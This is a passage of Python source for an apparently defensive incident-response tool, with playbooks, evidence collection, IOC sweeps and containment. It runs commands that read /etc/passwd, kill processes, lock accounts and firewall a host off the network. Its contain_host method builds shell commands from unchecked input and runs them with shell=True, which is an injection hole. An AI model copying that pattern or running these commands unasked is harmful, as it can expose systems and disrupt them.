infection vector.', + 'check_items': ['Identify malware file/process', 'Isolate affected system from network', 'Determine malware type', 'Identify initial infection vector', 'Check if malware is actively communicating'], + 'automated': True, + 'commands': ['tasklist /v' if _is_win else 'ps auxf', + 'netstat -anob' if _is_win else 'ss -tulnp', + 'wmic process list full' if _is_win else 'ls -la /tmp /var/tmp /dev/shm 2>/dev/null'], + }, + { + 'title': 'Collect Malware Sample', + 'description': 'Safely collect the malware binary for analysis. Calculate hashes (MD5, SHA256) and check against threat intelligence databases.', + 'check_items': ['Copy malware sample to quarantine', 'Calculate file hashes', 'Submit to VirusTotal', 'Check threat intel feeds', 'Document file metadata'], + 'automated': False, + 'commands': [], + }, + { + 'title': 'Analyze Behavior', + 'description': 'Determine malware capabilities: C2 communication, persistence, data exfiltration, privilege escalation, and lateral movement.', + 'check_items': ['Identify C2 domains/IPs', 'Check persistence mechanisms', 'Identify data exfiltration channels', 'Check for privilege escalation', 'Look for dropper/downloader behavior'], + 'automated': True, + 'commands': ['schtasks /query /fo LIST /v' if _is_win else 'crontab -l 2>/dev/null', + 'reg query HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run' if _is_win else 'systemctl list-unit-files --state=enabled 2>/dev/null'], + }, + { + 'title': 'Scope the Infection', + 'description': 'Determine if other systems are infected. Sweep the network for IOCs found during analysis.', + 'check_items': ['Sweep network for IOCs', 'Check DNS logs for C2 domains', 'Review network flow data', 'Check other endpoints for same hash', 'Look for worm propagation'], + 'automated': False, + 'commands': [], + }, + { + 'title': 'Eradicate Malware', + 'description': 'Remove all malware components from affected systems. Clean persistence mechanisms, remove dropped files, and clear modified registry entries.', + 'check_items': ['Remove malware binaries', 'Clear persistence entries', 'Remove dropped files', 'Clean registry modifications', 'Verify clean with multiple AV engines'], + 'automated': False, + 'commands': [], + }, + { + 'title': 'Recover and Monitor', + 'description': 'Restore system to clean state. Patch the vulnerability used for initial access. Monitor for reinfection.', + 'check_items': ['Restore from clean backup if needed', 'Apply security patches', 'Update AV signatures', 'Monitor for reinfection indicators', 'Update detection rules with new IOCs'], + 'automated': False, + 'commands': [], + }, + ], + }, + 'phishing': { + 'name': 'Phishing Incident Response', + 'steps': [ + { + 'title': 'Analyze the Phishing Email', + 'description': 'Examine the phishing email headers, sender, links, and attachments. Determine the campaign scope and targets.', + 'check_items': ['Examine email headers for origin', 'Analyze URLs (do not click)', 'Check attachments in sandbox', 'Identify phishing kit or campaign', 'Determine number of recipients'], + 'automated': False, + 'commands': [], + }, + { + 'title': 'Identify Affected Users', + 'description': 'Determine which users received, opened, clicked links, or submitted credentials to the phishing page.', + 'check_items': ['Query email gateway for all recipients', 'Check proxy logs for phishing URL visits', 'Review web filter logs', 'Identify users who submitted credentials', 'Check for downloaded attachments'], + 'automated': True, + 'commands': ['ipconfig /displaydns' if _is_win else 'cat /etc/resolv.conf; grep -r "dns" /var/log/ 2>/dev/null | tail -20'], + }, + { + 'title': 'Contain the Threat', + 'description': 'Block the phishing URLs and sender addresses. Reset credentials for affected users. Purge remaining phishing emails from inboxes.', + 'check_items': ['Block phishing URL at proxy/firewall', 'Block sender email address', 'Reset passwords for affected users', 'Purge phishing email from all mailboxes', 'Block phishing domain in DNS'], + 'automated': True, + 'commands': ['netsh advfirewall firewall add rule name="Block-Phish" dir=out action=block remoteip={ip}' if _is_win else 'iptables -A OUTPUT -d {ip} -j DROP'], + }, + { + 'title': 'Check for Secondary Compromise', + 'description': 'If users clicked links or submitted credentials, check for follow-on compromise: unauthorized access, malware installation, data theft.', + 'check_items': ['Check for unauthorized logins with stolen creds', 'Scan workstations for malware', 'Review data access logs', 'Check for OAuth token theft', 'Look for lateral movement'], + 'automated': False, + 'commands': [], + }, + { + 'title': 'Remediate', + 'description': 'Ensure all affected accounts are secured. Update email filtering rules. Deploy additional protections.', + 'check_items': ['Verify all affected passwords reset', 'Enable MFA for affected accounts', 'Update email filter rules', 'Add phishing indicators to blocklists', 'Submit phishing page for takedown'], + 'automated': False, + 'commands': [], + }, + { + 'title': 'User Awareness', + 'description': 'Notify users about the phishing campaign. Provide guidance on identifying phishing. Consider additional security awareness training.', + 'check_items': ['Send company-wide alert about campaign', 'Provide phishing identification tips', 'Schedule security awareness training', 'Update phishing simulation program', 'Document lessons learned'], + 'automated': False, + 'commands': [], + }, + ], + }, + 'unauthorized_access': { + 'name': 'Unauthorized Access Response', + 'steps': [ + { + 'title': 'Detect and Confirm', + 'description': 'Verify unauthorized access indicators. Review authentication logs, IDS/IPS alerts, and anomalous activity.', + 'check_items': ['Review authentication logs', 'Check IDS/IPS alerts', 'Verify anomalous access patterns', 'Identify accessed resources', 'Determine access method (exploit, stolen creds, misconfiguration)'], + 'automated': True, + 'commands': ['wevtutil qe Security /c:50 /f:text /rd:true' if _is_win else 'grep -i "accepted\\|failed\\|invalid" /var/log/auth.log 2>/dev/null | tail -50'], + }, + { + 'title': 'Block Attacker Access', + 'description': 'Immediately block the attacker\'s access. Firewall the source IP, disable exploited service, close the vulnerability.', + 'check_items': ['Block attacker IP at firewall', 'Disable exploited service', 'Close vulnerable ports', 'Revoke any created credentials', 'Reset compromised accounts'], + 'automated': True, + 'commands': ['netsh advfirewall firewall add rule name="Block-Attacker" dir=in action=block remoteip={ip}' if _is_win else 'iptables -A INPUT -s {ip} -j DROP'], + }, + { + 'title': 'Preserve Evidence', + 'description': 'Capture all evidence of the intrusion before remediation changes it.', + 'check_items': ['Capture running processes', 'Save network connections', 'Preserve log files', 'Save modified files list', 'Document access timeline'], + 'automated': True, + 'commands': ['tasklist /v' if _is_win else 'ps auxf', + 'netstat -anob' if _is_win else 'ss -tulnp', + 'dir /t:w /o:-d /s C:\\Users' if _is_win else 'find / -mtime -1 -type f 2>/dev/null | head -100'], + }, + { + 'title': 'Assess Scope and Impact', + 'description': 'Determine what the attacker accessed, modified, or exfiltrated. Check for backdoors, new accounts, and persistence mechanisms.', + 'check_items': ['Check for new user accounts', 'Look for backdoors and webshells', 'Review file modification times', 'Check for data exfiltration', 'Look for persistence mechanisms'], + 'automated': True, + 'commands': ['net user' if _is_win else 'cat /etc/passwd', + 'schtasks /query /fo LIST' if _is_win else 'crontab -l 2>/dev/null'], + }, + { + 'title': 'Eradicate and Harden', + 'description': 'Remove all attacker artifacts. Patch the exploited vulnerability. Harden the system against future attacks.', + 'check_items': ['Remove attacker backdoors', 'Patch exploited vulnerability', 'Remove unauthorized accounts', 'Harden service configurations', 'Update firewall rules', 'Enable enhanced logging'], + 'automated': False, + 'commands': [], + }, + { + 'title': 'Post-Incident Review', + 'description': 'Document the full attack chain. Update detection rules and security controls. Implement lessons learned.', + 'check_items': ['Document complete attack chain', 'Update IDS/IPS signatures', 'Review and update access controls', 'Implement additional monitoring', 'Schedule penetration test'], + 'automated': False, + 'commands': [], + }, + ], + }, +} + + +# ── Incident Response Engine ──────────────────────────────────────── + +class IncidentResponse: + """IR playbook runner, evidence collector, IOC sweeper, and reporting engine.""" + + _instance = None + + def __init__(self): + data_dir = get_data_dir() + if isinstance(data_dir, str): + data_dir = Path(data_dir) + self._incidents_dir = data_dir / 'incidents' + self._incidents_dir.mkdir(parents=True, exist_ok=True) + + # ── helpers ────────────────────────────────────────────────── + + def _run_cmd(self, cmd, timeout=30): + """Run a shell command, return (success, output).""" + try: + result = subprocess.run(cmd, shell=True, capture_output=True, + text=True, timeout=timeout) + return result.returncode == 0, result.stdout.strip() + except Exception as e: + return False, str(e) + + def _now_iso(self): + return datetime.now(timezone.utc).isoformat() + + def _gen_id(self): + """Generate a unique incident ID like IR-20260303-A1B2.""" + ts = datetime.now().strftime('%Y%m%d') + suffix = hashlib.md5(str(time.time()).encode()).hexdigest()[:4].upper() + return f'IR-{ts}-{suffix}' + + def _incident_dir(self, incident_id): + d = self._incidents_dir / incident_id + d.mkdir(parents=True, exist_ok=True) + return d + + def _load_incident(self, incident_id): + path = self._incident_dir(incident_id) / 'incident.json' + if not path.exists(): + return None + with open(path, 'r') as f: + return json.load(f) + + def _save_incident(self, incident): + idir = self._incident_dir(incident['id']) + with open(idir / 'incident.json', 'w') as f: + json.dump(incident, f, indent=2, default=str) + + def _load_timeline(self, incident_id): + path = self._incident_dir(incident_id) / 'timeline.json' + if not path.exists(): + return [] + with open(path, 'r') as f: + return json.load(f) + + def _save_timeline(self, incident_id, timeline): + path = self._incident_dir(incident_id) / 'timeline.json' + with open(path, 'w') as f: + json.dump(timeline, f, indent=2, default=str) + + def _evidence_dir(self, incident_id): + d = self._incident_dir(incident_id) / 'evidence' + d.mkdir(parents=True, exist_ok=True) + return d + + # ── CRUD ───────────────────────────────────────────────────── + + def create_incident(self, name, incident_type, severity, description=''): + """Create a new incident case and return the incident dict.""" + if incident_type not in INCIDENT_TYPES: + return {'error': f'Invalid type. Must be one of: {", ".join(INCIDENT_TYPES)}'} + if severity not in SEVERITY_LEVELS: + return {'error': f'Invalid severity. Must be one of: {", ".join(SEVERITY_LEVELS)}'} + + incident_id = self._gen_id() + playbook = IR_PLAYBOOKS.get(incident_type, {}) + step_count = len(playbook.get('steps', [])) + + incident = { + 'id': incident_id, + 'name': name, + 'type': incident_type, + 'severity': severity, + 'description': description, + 'status': 'open', + 'assignee': '', + 'notes': '', + 'created': self._now_iso(), + 'updated': self._now_iso(), + 'closed': None, + 'resolution_notes': '', + 'playbook_progress': [False] * step_count, + 'playbook_outputs': [''] * step_count, + 'evidence_count': 0, + } + self._save_incident(incident) + self._save_timeline(incident_id, []) + + # add creation event to timeline + self.add_timeline_event(incident_id, self._now_iso(), + f'Incident created: {name}', 'system', + f'Type: {incident_type}, Severity: {severity}') + return incident + + def get_incident(self, incident_id): + """Return full incident details including timeline and evidence list.""" + incident = self._load_incident(incident_id) + if not incident: + return {'error': 'Incident not found'} + incident['timeline'] = self._load_timeline(incident_id) + incident['evidence'] = self.list_evidence(incident_id) + return incident + + def list_incidents(self, status=None): + """Return list of all incidents, optionally filtered by status.""" + incidents = [] + if not self._incidents_dir.exists(): + return incidents + for d in sorted(self._incidents_dir.iterdir(), reverse=True): + if d.is_dir(): + inc = self._load_incident(d.name) + if inc: + if status and inc.get('status') != status: + continue + incidents.append(inc) + return incidents + + def update_incident(self, incident_id, updates): + """Update incident fields (status, severity, notes, assignee).""" + incident = self._load_incident(incident_id) + if not incident: + return {'error': 'Incident not found'} + + allowed = {'status', 'severity', 'notes', 'assignee', 'name', 'description'} + changes = [] + for key, val in updates.items(): + if key in allowed: + old_val = incident.get(key, '') + if old_val != val: + incident[key] = val + changes.append(f'{key}: {old_val} -> {val}') + + if 'status' in updates and updates['status'] not in STATUS_VALUES: + return {'error': f'Invalid status. Must be one of: {", ".join(STATUS_VALUES)}'} + if 'severity' in updates and updates['severity'] not in SEVERITY_LEVELS: + return {'error': f'Invalid severity. Must be one of: {", ".join(SEVERITY_LEVELS)}'} + + incident['updated'] = self._now_iso() + self._save_incident(incident) + + if changes: + self.add_timeline_event(incident_id, self._now_iso(), + 'Incident updated', 'system', + '; '.join(changes)) + return incident + + def close_incident(self, incident_id, resolution_notes=''): + """Close an incident with resolution notes.""" + incident = self._load_incident(incident_id) + if not incident: + return {'error': 'Incident not found'} + + incident['status'] = 'closed' + incident['closed'] = self._now_iso() + incident['updated'] = self._now_iso() + incident['resolution_notes'] = resolution_notes + self._save_incident(incident) + + self.add_timeline_event(incident_id, self._now_iso(), + 'Incident closed', 'system', resolution_notes) + return incident + + def delete_incident(self, incident_id): + """Delete an incident and all associated data.""" + idir = self._incidents_dir / incident_id + if not idir.exists(): + return {'error': 'Incident not found'} + shutil.rmtree(str(idir), ignore_errors=True) + return {'success': True, 'deleted': incident_id} + + # ── Playbooks ──────────────────────────────────────────────── + + def get_playbook(self, incident_type): + """Return the IR playbook for an incident type.""" + pb = IR_PLAYBOOKS.get(incident_type) + if not pb: + return {'error': f'No playbook for type: {incident_type}'} + return pb + + def run_playbook_step(self, incident_id, step_index, auto=False): + """Execute or mark a playbook step as done.""" + incident = self._load_incident(incident_id) + if not incident: + return {'error': 'Incident not found'} + + playbook = IR_PLAYBOOKS.get(incident['type'], {}) + steps = playbook.get('steps', []) + if step_index < 0 or step_index >= len(steps): + return {'error': f'Invalid step index: {step_index}'} + + step = steps[step_index] + output = '' + + if auto and step.get('automated') and step.get('commands'): + # Run the commands and capture output + outputs = [] + for cmd in step['commands']: + success, result = self._run_cmd(cmd) + outputs.append(f'$ {cmd}\n{result}\n{"[OK]" if success else "[FAILED]"}') + output = '\n\n'.join(outputs) + + # Store the output as evidence + self.add_evidence(incident_id, + f'playbook_step_{step_index}_{step["title"].replace(" ", "_")}', + output, evidence_type='playbook_auto') + + # Mark step as complete + progress = incident.get('playbook_progress', []) + while len(progress) <= step_index: + progress.append(False) + progress[step_index] = True + + pb_outputs = incident.get('playbook_outputs', []) + while len(pb_outputs) <= step_index: + pb_outputs.append('') + pb_outputs[step_index] = output + + incident['playbook_progress'] = progress + incident['playbook_outputs'] = pb_outputs + incident['updated'] = self._now_iso() + + # auto-advance status + if incident['status'] == 'open': + incident['status'] = 'investigating' + + self._save_incident(incident) + self.add_timeline_event(incident_id, self._now_iso(), + f'Playbook step completed: {step["title"]}', + 'playbook', + f'Step {step_index + 1}/{len(steps)}, auto={auto}') + + return { + 'step_index': step_index, + 'title': step['title'], + 'completed': True, + 'auto': auto, + 'output': output, + 'progress': progress, + } + + # ── Evidence Collection ────────────────────────────────────── + + def collect_evidence(self, incident_id, evidence_type, source=None): + """Collect evidence from the local system and store it under the incident.""" + incident = self._load_incident(incident_id) + if not incident: + return {'error': 'Incident not found'} + if evidence_type not in EVIDENCE_TYPES: + return {'error': f'Unknown evidence type. Options: {", ".join(EVIDENCE_TYPES)}'} + + content = '' + name = evidence_type + + if evidence_type == 'system_logs': + if _is_win: + _, content = self._run_cmd( + 'wevtutil qe System /c:50 /f:text /rd:true', timeout=20) + _, auth = self._run_cmd( + 'wevtutil qe Security /c:50 /f:text /rd:true', timeout=20) + content = f'=== System Log ===\n{content}\n\n=== Security Log ===\n{auth}' + else: + parts = [] + for log in ['/var/log/syslog', '/var/log/messages', '/var/log/auth.log', + '/var/log/secure', '/var/log/kern.log']: + _, out = self._run_cmd(f'tail -100 {log} 2>/dev/null') + if out: + parts.append(f'=== {log} ===\n{out}') + content = '\n\n'.join(parts) if parts else 'No accessible logs found' + + elif evidence_type == 'process_list': + if _is_win: + _, content = self._run_cmd('tasklist /v /fo csv', timeout=15) + else: + _, content = self._run_cmd('ps auxf', timeout=15) + + elif evidence_type == 'network_connections': + if _is_win: + _, content = self._run_cmd('netstat -anob', timeout=15) + else: + _, content = self._run_cmd('ss -tulnp 2>/dev/null || netstat -tulnp 2>/dev/null', timeout=15) + + elif evidence_type == 'running_services': + if _is_win: + _, content = self._run_cmd('sc query state= all', timeout=20) + else: + _, content = self._run_cmd('systemctl list-units --type=service --state=running 2>/dev/null || service --status-all 2>/dev/null', timeout=15) + + elif evidence_type == 'user_accounts': + if _is_win: + _, content = self._run_cmd('net user', timeout=10) + _, detailed = self._run_cmd('wmic useraccount list full', timeout=15) + content = f'{content}\n\n=== Detailed ===\n{detailed}' + else: + _, content = self._run_cmd('cat /etc/passwd; echo "---"; last -20 2>/dev/null', timeout=10) + + elif evidence_type == 'scheduled_tasks': + if _is_win: + _, content = self._run_cmd('schtasks /query /fo LIST /v', timeout=20) + else: + parts = [] + _, out = self._run_cmd('crontab -l 2>/dev/null') + if out: + parts.append(f'=== User Crontab ===\n{out}') + _, out = self._run_cmd('ls -la /etc/cron.d/ /etc/cron.daily/ /etc/cron.hourly/ /etc/cron.weekly/ /etc/cron.monthly/ 2>/dev/null') + if out: + parts.append(f'=== System Cron ===\n{out}') + _, out = self._run_cmd('systemctl list-timers --all 2>/dev/null') + if out: + parts.append(f'=== Systemd Timers ===\n{out}') + content = '\n\n'.join(parts) if parts else 'No scheduled tasks found' + + elif evidence_type == 'recent_files': + if _is_win: + _, content = self._run_cmd( + 'forfiles /P C:\\Users /S /D -1 /C "cmd /c echo @path @fdate @ftime" 2>nul', + timeout=30) + if not content: + _, content = self._run_cmd('dir /t:w /o:-d /s C:\\Users\\*.*', timeout=30) + else: + _, content = self._run_cmd( + 'find /home /tmp /var/tmp /root -mtime -1 -type f 2>/dev/null | head -200', + timeout=30) + + elif evidence_type == 'memory_info': + if _is_win: + _, content = self._run_cmd( + 'systeminfo | findstr /C:"Total Physical" /C:"Available Physical" /C:"Virtual Memory"', + timeout=15) + _, procs = self._run_cmd( + 'wmic process get Name,WorkingSetSize,ProcessId /format:csv', timeout=15) + content = f'{content}\n\n=== Top Processes ===\n{procs}' + else: + _, content = self._run_cmd('free -h; echo "---"; cat /proc/meminfo | head -20', timeout=10) + + elif evidence_type == 'disk_info': + if _is_win: + _, content = self._run_cmd('wmic logicaldisk get size,freespace,caption', timeout=10) + else: + _, content = self._run_cmd('df -h; echo "---"; lsblk 2>/dev/null', timeout=10) + + elif evidence_type == 'installed_software': + if _is_win: + _, content = self._run_cmd( + 'wmic product get name,version /format:csv 2>nul', timeout=30) + if not content: + _, content = self._run_cmd( + 'reg query "HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" /s /v DisplayName 2>nul', + timeout=20) + else: + _, content = self._run_cmd( + 'dpkg -l 2>/dev/null || rpm -qa 2>/dev/null || pacman -Q 2>/dev/null', + timeout=20) + + # Save evidence + return self.add_evidence(incident_id, name, content, evidence_type='collected') + + def add_evidence(self, incident_id, name, content, evidence_type='manual'): + """Add evidence (manual note, collected data, etc.) to an incident.""" + incident = self._load_incident(incident_id) + if not incident: + return {'error': 'Incident not found'} + + edir = self._evidence_dir(incident_id) + ts = datetime.now().strftime('%Y%m%d_%H%M%S') + safe_name = re.sub(r'[^a-zA-Z0-9_-]', '_', name) + filename = f'{ts}_{safe_name}.txt' + filepath = edir / filename + + with open(filepath, 'w', encoding='utf-8', errors='replace') as f: + f.write(content) + + # Update evidence count + incident['evidence_count'] = incident.get('evidence_count', 0) + 1 + incident['updated'] = self._now_iso() + self._save_incident(incident) + + # Log in timeline + self.add_timeline_event(incident_id, self._now_iso(), + f'Evidence added: {name}', 'evidence', + f'Type: {evidence_type}, File: {filename}, Size: {len(content)} bytes') + + return { + 'name': name, + 'filename': filename, + 'type': evidence_type, + 'size': len(content), + 'collected_at': self._now_iso(), + 'preview': content[:500] if content else '', + } + + def list_evidence(self, incident_id): + """List all evidence files for an incident.""" + edir = self._evidence_dir(incident_id) + evidence = [] + if not edir.exists(): + return evidence + for f in sorted(edir.iterdir()): + if f.is_file(): + stat = f.stat() + evidence.append({ + 'filename': f.name, + 'name': f.stem, + 'size': stat.st_size, + 'collected_at': datetime.fromtimestamp(stat.st_mtime).isoformat(), + }) + return evidence + + def get_evidence_content(self, incident_id, filename): + """Return the content of a specific evidence file.""" + filepath = self._evidence_dir(incident_id) / filename + if not filepath.exists(): + return {'error': 'Evidence file not found'} + try: + content = filepath.read_text(encoding='utf-8', errors='replace') + return {'filename': filename, 'content': content, 'size': len(content)} + except Exception as e: + return {'error': str(e)} + + # ── IOC Sweep ──────────────────────────────────────────────── + + def sweep_iocs(self, incident_id, iocs): + """Scan local system for indicators of compromise. + + iocs = { + 'ips': ['1.2.3.4', ...], + 'domains': ['evil.com', ...], + 'hashes': ['sha256:abcdef...', ...], + } + """ + incident = self._load_incident(incident_id) + if not incident: + return {'error': 'Incident not found'} + + matches = [] + ip_list = [ip.strip() for ip in iocs.get('ips', []) if ip.strip()] + domain_list = [d.strip() for d in iocs.get('domains', []) if d.strip()] + hash_list = [h.strip() for h in iocs.get('hashes', []) if h.strip()] + + # Check network connections against IP list + if ip_list: + if _is_win: + _, netout = self._run_cmd('netstat -an') + else: + _, netout = self._run_cmd('ss -tulnp 2>/dev/null || netstat -tulnp 2>/dev/null') + + for ip in ip_list: + if ip in netout: + matches.append({ + 'type': 'ip', + 'ioc': ip, + 'found_in': 'active_connections', + 'severity': 'critical', + 'details': f'IP {ip} found in active network connections', + }) + + # Check running processes against hash list + if hash_list: + if _is_win: + _, proc_out = self._run_cmd('wmic process get ExecutablePath /format:csv') + proc_paths = [line.split(',')[-1].strip() for line in proc_out.splitlines() + if '\\' in line] + else: + _, proc_out = self._run_cmd("ls -1 /proc/*/exe 2>/dev/null | xargs readlink 2>/dev/null | sort -u") + proc_paths = [p.strip() for p in proc_out.splitlines() if p.strip()] + + for proc_path in proc_paths: + if not os.path.isfile(proc_path): + continue + try: + sha = hashlib.sha256(open(proc_path, 'rb').read()).hexdigest() + md5 = hashlib.md5(open(proc_path, 'rb').read()).hexdigest() + for h in hash_list: + hval = h.split(':')[-1] if ':' in h else h + if hval.lower() in (sha.lower(), md5.lower()): + matches.append({ + 'type': 'hash', + 'ioc': h, + 'found_in': proc_path, + 'severity': 'critical', + 'details': f'Hash match on running process: {proc_path}', + }) + except (PermissionError, OSError): + continue + + # Check DNS cache against domain list + if domain_list: + if _is_win: + _, dns_out = self._run_cmd('ipconfig /displaydns') + else: + _, dns_out = self._run_cmd( + 'cat /etc/hosts 2>/dev/null; ' + 'grep -r "query" /var/log/syslog 2>/dev/null | tail -200') + + for domain in domain_list: + if domain.lower() in dns_out.lower(): + matches.append({ + 'type': 'domain', + 'ioc': domain, + 'found_in': 'dns_cache', + 'severity': 'high', + 'details': f'Domain {domain} found in DNS cache/logs', + }) + + # Store sweep results as evidence + result = { + 'total_iocs': len(ip_list) + len(domain_list) + len(hash_list), + 'matches_found': len(matches), + 'matches': matches, + 'swept_at': self._now_iso(), + } + + self.add_evidence(incident_id, 'ioc_sweep_results', + json.dumps(result, indent=2), evidence_type='ioc_sweep') + + self.add_timeline_event(incident_id, self._now_iso(), + f'IOC sweep completed: {len(matches)} matches from {result["total_iocs"]} indicators', + 'sweep', json.dumps({'matches': len(matches)})) + + return result + + # ── Timeline ───────────────────────────────────────────────── + + def add_timeline_event(self, incident_id, timestamp, event, source, details=None): + """Add an event to the incident timeline.""" + timeline = self._load_timeline(incident_id) + entry = { + 'timestamp': timestamp, + 'event': event, + 'source': source, + 'details': details or '', + } + timeline.append(entry) + # Sort chronologically + timeline.sort(key=lambda e: e.get('timestamp', '')) + self._save_timeline(incident_id, timeline) + return entry + + def get_timeline(self, incident_id): + """Get the full chronological timeline for an incident.""" + return self._load_timeline(incident_id) + + def auto_build_timeline(self, incident_id): + """Automatically build timeline from collected evidence by parsing timestamps.""" + incident = self._load_incident(incident_id) + if not incident: + return {'error': 'Incident not found'} + + evidence_files = self.list_evidence(incident_id) + events_added = 0 + edir = self._evidence_dir(incident_id) + + # Timestamp patterns + patterns = [ + # ISO 8601 + (r'(\d{4}-\d{2}-\d{2}[T ]\d{2}:\d{2}:\d{2})', '%Y-%m-%dT%H:%M:%S'), + # Syslog + (r'([A-Z][a-z]{2}\s+\d{1,2}\s+\d{2}:\d{2}:\d{2})', None), + # Windows Event Log + (r'Date:\s+(\d{1,2}/\d{1,2}/\d{4}\s+\d{1,2}:\d{2}:\d{2}\s*[AP]M)', '%m/%d/%Y %I:%M:%S %p'), + ] + + for ef in evidence_files: + filepath = edir / ef['filename'] + try: + content = filepath.read_text(encoding='utf-8', errors='replace') + except Exception: + continue + + lines = content.splitlines() + for line in lines[:500]: # limit to first 500 lines per file + for pattern, fmt in patterns: + match = re.search(pattern, line) + if match: + ts_str = match.group(1) + try: + if fmt: + ts_str = ts_str.replace('T', ' ') + dt = datetime.strptime(ts_str.strip(), fmt.replace('T', ' ')) + ts_iso = dt.isoformat() + else: + # Syslog format — use current year + year = datetime.now().year + dt = datetime.strptime(f'{year} {ts_str}', '%Y %b %d %H:%M:%S') + ts_iso = dt.isoformat() + except ValueError: + continue + + # Extract a useful event description from the line + event_text = line[match.end():].strip()[:200] + if event_text: + self.add_timeline_event( + incident_id, ts_iso, + event_text, + ef['filename'], + f'Auto-extracted from {ef["filename"]}') + events_added += 1 + break # only match first pattern per line + + if events_added >= 200: + break + if events_added >= 200: + break + + self.add_timeline_event(incident_id, self._now_iso(), + f'Auto-built timeline: {events_added} events extracted', + 'system', f'Parsed {len(evidence_files)} evidence files') + + return { + 'events_added': events_added, + 'evidence_parsed': len(evidence_files), + 'total_timeline_events': len(self._load_timeline(incident_id)), + } + + # ── Containment ────────────────────────────────────────────── + + def contain_host(self, incident_id, host, actions): + """Execute containment actions against a host/IP. + + actions: list of strings from ['block_ip', 'kill_process', 'disable_user', 'isolate_network'] + """ + incident = self._load_incident(incident_id) + if not incident: + return {'error': 'Incident not found'} + + results = [] + + for action in actions: + if action == 'block_ip': + if _is_win: + success, out = self._run_cmd( + f'netsh advfirewall firewall add rule name="AUTARCH-IR-Block-{host}" ' + f'dir=in action=block remoteip={host}') + else: + success, out = self._run_cmd(f'iptables -A INPUT -s {host} -j DROP') + results.append({ + 'action': 'block_ip', + 'target': host, + 'success': success, + 'output': out, + }) + + elif action == 'kill_process': + # host here is treated as PID or process name + if _is_win: + success, out = self._run_cmd(f'taskkill /F /PID {host} 2>nul || taskkill /F /IM {host} 2>nul') + else: + success, out = self._run_cmd(f'kill -9 {host} 2>/dev/null || pkill -9 {host} 2>/dev/null') + results.append({ + 'action': 'kill_process', + 'target': host, + 'success': success, + 'output': out, + }) + + elif action == 'disable_user': + if _is_win: + success, out = self._run_cmd(f'net user {host} /active:no') + else: + success, out = self._run_cmd(f'usermod -L {host} 2>/dev/null; passwd -l {host} 2>/dev/null') + results.append({ + 'action': 'disable_user', + 'target': host, + 'success': success, + 'output': out, + }) + + elif action == 'isolate_network': + if _is_win: + cmds = [ + f'netsh advfirewall firewall add rule name="AUTARCH-IR-Isolate-In" dir=in action=block remoteip=any', + f'netsh advfirewall firewall add rule name="AUTARCH-IR-Isolate-Out" dir=out action=block remoteip=any', + ] + else: + cmds = [ + 'iptables -P INPUT DROP', + 'iptables -P OUTPUT DROP', + 'iptables -P FORWARD DROP', + # Allow loopback + 'iptables -A INPUT -i lo -j ACCEPT', + 'iptables -A OUTPUT -o lo -j ACCEPT', + ] + all_ok = True + combined = [] + for cmd in cmds: + s, o = self._run_cmd(cmd) + combined.append(o) + if not s: + all_ok = False + results.append({ + 'action': 'isolate_network', + 'target': host, + 'success': all_ok, + 'output': '\n'.join(combined), + }) + + # Update incident status to contained + if incident['status'] in ('open', 'investigating'): + incident['status'] = 'contained' + incident['updated'] = self._now_iso() + self._save_incident(incident) + + # Log all actions + action_summary = ', '.join(f'{r["action"]}:{r["target"]}={"OK" if r["success"] else "FAIL"}' for r in results) + self.add_timeline_event(incident_id, self._now_iso(), + f'Containment actions executed', 'containment', + action_summary) + + # Store as evidence + self.add_evidence(incident_id, 'containment_actions', + json.dumps(results, indent=2), evidence_type='containment') + + return {'results': results, 'status': incident.get('status')} + + # ── Reporting ──────────────────────────────────────────────── + + def generate_report(self, incident_id): + """Generate a comprehensive post-incident report.""" + incident = self._load_incident(incident_id) + if not incident: + return {'error': 'Incident not found'} + + timeline = self._load_timeline(incident_id) + evidence = self.list_evidence(incident_id) + playbook = IR_PLAYBOOKS.get(incident['type'], {}) + steps = playbook.get('steps', []) + progress = incident.get('playbook_progress', []) + + completed_steps = sum(1 for p in progress if p) + total_steps = len(steps) + + # Build report sections + report = { + 'title': f'Incident Report: {incident["name"]}', + 'incident_id': incident['id'], + 'generated_at': self._now_iso(), + 'executive_summary': { + 'incident_name': incident['name'], + 'incident_type': incident['type'], + 'severity': incident['severity'], + 'status': incident['status'], + 'created': incident['created'], + 'closed': incident.get('closed'), + 'duration': self._calc_duration(incident['created'], incident.get('closed')), + 'description': incident['description'], + }, + 'timeline': timeline, + 'timeline_summary': f'{len(timeline)} events recorded', + 'evidence_summary': { + 'total_evidence': len(evidence), + 'evidence_list': [{'name': e['name'], 'size': e['size'], + 'collected_at': e['collected_at']} for e in evidence], + }, + 'playbook_progress': { + 'playbook_name': playbook.get('name', 'N/A'), + 'completed_steps': completed_steps, + 'total_steps': total_steps, + 'completion_pct': int(completed_steps / total_steps * 100) if total_steps > 0 else 0, + 'steps': [], + }, + 'actions_taken': [], + 'resolution': incident.get('resolution_notes', ''), + 'recommendations': self._generate_recommendations(incident['type']), + 'lessons_learned': [], + } + + for i, step in enumerate(steps): + done = progress[i] if i < len(progress) else False + report['playbook_progress']['steps'].append({ + 'step': i + 1, + 'title': step['title'], + 'completed': done, + }) + + # Extract containment actions from timeline + for event in timeline: + if event.get('source') in ('containment', 'playbook'): + report['actions_taken'].append({ + 'timestamp': event['timestamp'], + 'action': event['event'], + 'details': event.get('details', ''), + }) + + return report + + def _calc_duration(self, start_str, end_str): + """Calculate human-readable duration between two ISO timestamps.""" + try: + start = datetime.fromisoformat(start_str.replace('Z', '+00:00')) + if end_str: + end = datetime.fromisoformat(end_str.replace('Z', '+00:00')) + else: + end = datetime.now(timezone.utc) + delta = end - start + hours = int(delta.total_seconds() // 3600) + minutes = int((delta.total_seconds() % 3600) // 60) + if hours > 24: + days = hours // 24 + hours = hours % 24 + return f'{days}d {hours}h {minutes}m' + return f'{hours}h {minutes}m' + except Exception: + return 'unknown' + + def _generate_recommendations(self, incident_type): + """Generate post-incident recommendations based on incident type.""" + recs = { + 'ransomware': [ + 'Implement network segmentation to limit lateral movement', + 'Deploy endpoint detection and response (EDR) on all systems', + 'Implement immutable backups with offline/offsite copies', + 'Enable application whitelisting on critical servers', + 'Conduct regular phishing awareness training', + 'Implement email attachment sandboxing', + ], + 'data_breach': [ + 'Deploy Data Loss Prevention (DLP) tools', + 'Implement database activity monitoring', + 'Enable multi-factor authentication on all accounts', + 'Encrypt sensitive data at rest and in transit', + 'Implement least-privilege access controls', + 'Conduct regular access reviews', + ], + 'insider_threat': [ + 'Implement user behavior analytics (UBA)', + 'Enable comprehensive audit logging', + 'Enforce separation of duties', 